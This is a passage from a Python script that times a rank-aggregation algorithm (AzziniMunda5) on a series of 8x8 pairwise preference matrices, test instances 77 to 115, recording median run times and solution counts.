algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1001,990,938,988,930,946,962], [1000,0,997,1003,1020,1014,1010,1008], [1011,1004,0,949,982,960,955,965], [1063,998,1052,0,1024,1016,1028,1021], [1013,981,1019,977,0,984,986,976], [1071,987,1041,985,1017,0,964,1009], [1055,991,1046,973,1015,1037,0,1006], [1039,993,1036,980,1025,992,995,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 77, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1041,989,1029,968,1032,1053], [978,0,966,977,948,979,985,1012], [960,1035,0,1001,1049,1035,1038,1048], [1012,1024,1000,0,988,1030,997,1033], [972,1053,952,1013,0,1008,1003,1035], [1033,1022,966,971,993,0,1083,1047], [969,1016,963,1004,998,918,0,1000], [948,989,953,968,966,954,1001,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 78, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,1014,1040,978,1032,985,1003], [985,0,1001,1016,977,1009,962,978], [987,1000,0,1011,961,979,959,979], [961,985,990,0,917,985,1012,973], [1023,1024,1040,1084,0,1053,994,1029], [969,992,1022,1016,948,0,971,980], [1016,1039,1042,989,1007,1030,0,996], [998,1023,1022,1028,972,1021,1005,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 79, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1024,1028,1067,1041,1015,993,1047], [977,0,993,974,997,1009,1001,986], [973,1008,0,1026,1023,976,1035,978], [934,1027,975,0,1012,971,1021,973], [960,1004,978,989,0,995,982,954], [986,992,1025,1030,1006,0,986,933], [1008,1000,966,980,1019,1015,0,971], [954,1015,1023,1028,1047,1068,1030,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 80, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,971,984,970,960,999,985], [1008,0,964,985,987,1008,1010,985], [1030,1037,0,1020,985,1000,1061,1042], [1017,1016,981,0,1009,1018,1023,1000], [1031,1014,1016,992,0,996,1023,1028], [1041,993,1001,983,1005,0,1005,984], [1002,991,940,978,978,996,0,1018], [1016,1016,959,1001,973,1017,983,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 81, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,997,981,955,957,981,971,984], [1004,0,969,931,977,976,933,945], [1020,1032,0,952,986,1025,994,988], [1046,1070,1049,0,1013,1022,1029,986], [1044,1024,1015,988,0,1022,1018,1007], [1020,1025,976,979,979,0,1009,969], [1030,1068,1007,972,983,992,0,1005], [1017,1056,1013,1015,994,1032,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 82, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1025,1099,1050,1024,973,1042,1023], [976,0,992,982,1077,975,1050,1023], [902,1009,0,1028,911,1052,1004,967], [951,1019,973,0,927,1067,1003,925], [977,924,1090,1074,0,1077,1073,1006], [1028,1026,949,934,924,0,1023,979], [959,951,997,998,928,978,0,943], [978,978,1034,1076,995,1022,1058,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 83, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1303,1267,958,1000,1252,817,1056], [698,0,1040,954,1171,738,899,816], [734,961,0,775,1088,819,1047,794], [1043,1047,1226,0,1036,862,999,922], [1001,830,913,965,0,981,894,824], [749,1263,1182,1139,1020,0,1179,1350], [1184,1102,954,1002,1107,822,0,1136], [945,1185,1207,1079,1177,651,865,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 84, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1022,1025,990,1024,978,984,974], [979,0,981,983,991,955,976,963], [976,1020,0,992,995,960,1005,990], [1011,1018,1009,0,1002,993,1003,1006], [977,1010,1006,999,0,978,1005,967], [1023,1046,1041,1008,1023,0,1026,998], [1017,1025,996,998,996,975,0,991], [1027,1038,1011,995,1034,1003,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 85, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1002,998,993,1024,1048,981,1036], [999,0,1005,965,1017,1001,998,1001], [1003,996,0,1001,1037,1013,1039,972], [1008,1036,1000,0,1055,1032,1036,1039], [977,984,964,946,0,992,1040,968], [953,1000,988,969,1009,0,1008,1014], [1020,1003,962,965,961,993,0,992], [965,1000,1029,962,1033,987,1009,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 86, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,903,895,890,870,976,964,965], [1098,0,1032,995,1083,1062,1070,1012], [1106,969,0,970,1023,982,1019,1103], [1111,1006,1031,0,976,1056,987,1041], [1131,918,978,1025,0,1003,998,1055], [1025,939,1019,945,998,0,1078,1061], [1037,931,982,1014,1003,923,0,1082], [1036,989,898,960,946,940,919,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 87, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,978,1008,965,1012,921,942,1028], [1023,0,1007,985,956,962,1004,1040], [993,994,0,1012,965,970,932,1005], [1036,1016,989,0,947,947,983,974], [989,1045,1036,1054,0,1030,1010,1049], [1080,1039,1031,1054,971,0,1012,1030], [1059,997,1069,1018,991,989,0,1061], [973,961,996,1027,952,971,940,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 88, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1030,944,935,1024,1004,1020,995], [971,0,942,925,933,959,1006,950], [1057,1059,0,1026,1005,971,1098,976], [1066,1076,975,0,1020,1034,1060,1009], [977,1068,996,981,0,1001,1019,1035], [997,1042,1030,967,1000,0,1041,1033], [981,995,903,941,982,960,0,1040], [1006,1051,1025,992,966,968,961,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 89, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,964,1005,980,1009,977,1019,970], [1037,0,1011,1001,1025,1036,963,1092], [996,990,0,935,1017,949,977,985], [1021,1000,1066,0,1090,1052,1083,1054], [992,976,984,911,0,942,985,1009], [1024,965,1052,949,1059,0,1038,983], [982,1038,1024,918,1016,963,0,1047], [1031,909,1016,947,992,1018,954,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 90, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1021,1014,998,994,1011,1013,1017], [980,0,991,988,984,975,994,1008], [987,1010,0,978,989,976,1006,996], [1003,1013,1023,0,962,976,989,971], [1007,1017,1012,1039,0,996,1023,1009], [990,1026,1025,1025,1005,0,1010,993], [988,1007,995,1012,978,991,0,963], [984,993,1005,1030,992,1008,1038,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 91, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,995,985,1003,1001,981,993,1002], [1006,0,1038,1004,1018,995,1041,1026], [1016,963,0,999,999,976,991,993], [998,997,1002,0,1024,987,1006,981], [1000,983,1002,977,0,976,1010,994], [1020,1006,1025,1014,1025,0,1039,999], [1008,960,1010,995,991,962,0,995], [999,975,1008,1020,1007,1002,1006,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 92, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1032,1028,1007,995,1059,1000,1050], [969,0,1000,954,999,1026,961,1026], [973,1001,0,973,981,1034,994,1016], [994,1047,1028,0,1017,1094,968,1018], [1006,1002,1020,984,0,1018,1008,991], [942,975,967,907,983,0,925,978], [1001,1040,1007,1033,993,1076,0,1039], [951,975,985,983,1010,1023,962,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 93, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,868,886,1024,869,783,900,915], [1133,0,996,1057,1061,1169,966,1090], [1115,1005,0,1077,1048,869,998,1004], [977,944,924,0,986,940,787,892], [1132,940,953,1015,0,920,940,986], [1218,832,1132,1061,1081,0,1020,1042], [1101,1035,1003,1214,1061,981,0,1090], [1086,911,997,1109,1015,959,911,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 94, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1005,1010,971,1020,998,993,997], [996,0,1024,1029,1035,1034,1044,998], [991,977,0,963,1015,937,1019,1009], [1030,972,1038,0,1048,998,1003,1039], [981,966,986,953,0,974,1001,985], [1003,967,1064,1003,1027,0,1016,1008], [1008,957,982,998,1000,985,0,1005], [1004,1003,992,962,1016,993,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 95, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,984,984,1064,1024,1028,1011], [985,0,958,1033,991,1020,979,938], [1017,1043,0,994,1029,1012,1060,1030], [1017,968,1007,0,1063,985,1018,970], [937,1010,972,938,0,922,972,915], [977,981,989,1016,1079,0,1023,978], [973,1022,941,983,1029,978,0,962], [990,1063,971,1031,1086,1023,1039,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 96, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,985,915,917,977,1037,955,980], [1016,0,1000,989,993,1073,980,1022], [1086,1001,0,1034,1011,1090,993,1059], [1084,1012,967,0,966,1100,1029,1036], [1024,1008,990,1035,0,1082,1007,1018], [964,928,911,901,919,0,961,929], [1046,1021,1008,972,994,1040,0,1019], [1021,979,942,965,983,1072,982,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 97, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1032,1007,987,968,1038,1066,1033], [969,0,1022,978,987,1005,1048,1012], [994,979,0,1011,1026,1047,1068,1029], [1014,1023,990,0,1011,1022,1051,1018], [1033,1014,975,990,0,1012,1054,1005], [963,996,954,979,989,0,1024,987], [935,953,933,950,947,977,0,962], [968,989,972,983,996,1014,1039,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 98, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1019,962,989,982,1021,1090,1030], [982,0,1044,1066,1047,995,1044,1048], [1039,957,0,1024,955,1046,1048,1022], [1012,935,977,0,966,996,1049,1044], [1019,954,1046,1035,0,939,1027,1049], [980,1006,955,1005,1062,0,978,1021], [911,957,953,952,974,1023,0,994], [971,953,979,957,952,980,1007,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 99, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,983,1004,1006,990,1026,989], [988,0,968,1019,1034,980,972,1001], [1018,1033,0,992,1020,958,1071,974], [997,982,1009,0,1071,967,970,1021], [995,967,981,930,0,943,1013,973], [1011,1021,1043,1034,1058,0,998,1012], [975,1029,930,1031,988,1003,0,959], [1012,1000,1027,980,1028,989,1042,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 100, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,987,1016,1040,1007,1049,1053,1033], [1014,0,968,988,998,1012,1037,1021], [985,1033,0,1020,1036,1034,1037,1027], [961,1013,981,0,1014,1024,1009,1028], [994,1003,965,987,0,983,996,1035], [952,989,967,977,1018,0,1027,1039], [948,964,964,992,1005,974,0,1023], [968,980,974,973,966,962,978,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 101, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1060,1099,1076,993,1011,981,1100], [941,0,957,1010,1094,1026,914,1063], [902,1044,0,968,930,974,961,974], [925,991,1033,0,1003,1111,1092,1019], [1008,907,1071,998,0,983,908,1058], [990,975,1027,890,1018,0,1006,863], [1020,1087,1040,909,1093,995,0,1028], [901,938,1027,982,943,1138,973,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 102, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1003,1035,986,997,1011,1002,1016], [998,0,1019,985,979,983,976,988], [966,982,0,951,951,977,959,996], [1015,1016,1050,0,1008,998,1012,999], [1004,1022,1050,993,0,1010,1010,1006], [990,1018,1024,1003,991,0,1010,1010], [999,1025,1042,989,991,991,0,984], [985,1013,1005,1002,995,991,1017,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 103, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1060,954,996,1177,1010,1128,1090], [941,0,1054,999,1160,938,963,1045], [1047,947,0,1031,1143,1058,1085,1071], [1005,1002,970,0,1070,961,1045,1078], [824,841,858,931,0,902,1019,970], [991,1063,943,1040,1099,0,1140,1061], [873,1038,916,956,982,861,0,978], [911,956,930,923,1031,940,1023,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 104, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1011,1037,998,1030,1014,1001,1024], [990,0,1004,967,1009,958,993,981], [964,997,0,976,1017,981,998,980], [1003,1034,1025,0,1000,982,1002,962], [971,992,984,1001,0,940,977,994], [987,1043,1020,1019,1061,0,1048,991], [1000,1008,1003,999,1024,953,0,985], [977,1020,1021,1039,1007,1010,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 105, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,999,920,922,929,979,977,988], [1002,0,993,1005,990,1035,986,1026], [1081,1008,0,981,1057,1060,1013,1099], [1079,996,1020,0,1007,1024,1096,1058], [1072,1011,944,994,0,1060,1047,1057], [1022,966,941,977,941,0,991,1006], [1024,1015,988,905,954,1010,0,967], [1013,975,902,943,944,995,1034,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 106, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1010,992,994,967,980,1005,984], [991,0,963,988,973,978,978,1011], [1009,1038,0,1006,990,1004,996,1004], [1007,1013,995,0,1008,1000,1021,1009], [1034,1028,1011,993,0,987,1026,1004], [1021,1023,997,1001,1014,0,1011,1018], [996,1023,1005,980,975,990,0,970], [1017,990,997,992,997,983,1031,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 107, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,971,983,1030,982,946,993,997], [1030,0,1007,1054,999,1019,1024,1014], [1018,994,0,1035,1013,990,962,1038], [971,947,966,0,988,957,951,931], [1019,1002,988,1013,0,982,996,1022], [1055,982,1011,1044,1019,0,986,1028], [1008,977,1039,1050,1005,1015,0,1018], [1004,987,963,1070,979,973,983,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 108, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,956,987,978,998,950,977], [985,0,1013,1016,1002,956,962,999], [1045,988,0,1000,995,959,963,989], [1014,985,1001,0,981,1004,936,949], [1023,999,1006,1020,0,995,981,1021], [1003,1045,1042,997,1006,0,939,1016], [1051,1039,1038,1065,1020,1062,0,999], [1024,1002,1012,1052,980,985,1002,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 109, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,962,1013,974,1017,974,978,1005], [1039,0,1005,1027,1033,1010,994,1014], [988,996,0,1033,1029,1033,1019,1030], [1027,974,968,0,1027,1011,993,1033], [984,968,972,974,0,952,989,1011], [1027,991,968,990,1049,0,1016,1073], [1023,1007,982,1008,1012,985,0,1030], [996,987,971,968,990,928,971,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 110, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1001,1000,1025,1040,1089,1023,1020], [1000,0,994,1054,1014,1056,977,1004], [1001,1007,0,1004,982,1048,987,1017], [976,947,997,0,966,1010,993,947], [961,987,1019,1035,0,1053,992,1031], [912,945,953,991,948,0,975,964], [978,1024,1014,1008,1009,1026,0,1029], [981,997,984,1054,970,1037,972,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 111, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,997,1048,1020,960,1020,988], [978,0,1037,1028,1018,1003,990,975], [1004,964,0,1033,999,1015,1002,1013], [953,973,968,0,991,955,963,953], [981,983,1002,1010,0,1004,1002,1011], [1041,998,986,1046,997,0,1021,989], [981,1011,999,1038,999,980,0,999], [1013,1026,988,1048,990,1012,1002,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 112, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1001,1013,992,997,966,982,980], [1000,0,1003,1020,1003,992,995,989], [988,998,0,1008,989,982,987,988], [1009,981,993,0,975,990,999,973], [1004,998,1012,1026,0,1020,1007,1007], [1035,1009,1019,1011,981,0,997,1018], [1019,1006,1014,1002,994,1004,0,977], [1021,1012,1013,1028,994,983,1024,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 113, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,992,937,991,997,928,920,946], [1009,0,1026,1001,1014,980,966,1017], [1064,975,0,1017,1037,978,1010,997], [1010,1000,984,0,1037,997,929,957], [1004,987,964,964,0,975,930,939], [1073,1021,1023,1004,1026,0,965,1031], [1081,1035,991,1072,1071,1036,0,979], [1055,984,1004,1044,1062,970,1022,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 114, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,982,1004,988,983,1045,936,956], [1019,0,1016,1025,999,1050,968,997], [997,985,0,988,964,1028,1019,1025], [1013,976,1013,0,1012,1059,932,932], [1018,1002,1037,989,0,1090,992,997], [956,951,973,942,911,0,883,954], [1065,1033,982,1069,1009,1118,0,1039], [1045,1004,976,1069,1004,1047,962,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 115, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1005,1044,985,997,979,991,1002], [996,0,1018,976,1022,983,1027,1010], [957,983,0,978,990,997,988,965], [1016,1025,1023,0,1016,1006,1025,942], [1004,979,1011,985,0,956,1010,925], [1022,1018,1004,995,1045,0,1048,973], [1010,974,1013,976,991,953,0,936], [999,991,1036,1059,1076,1028,1065,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = 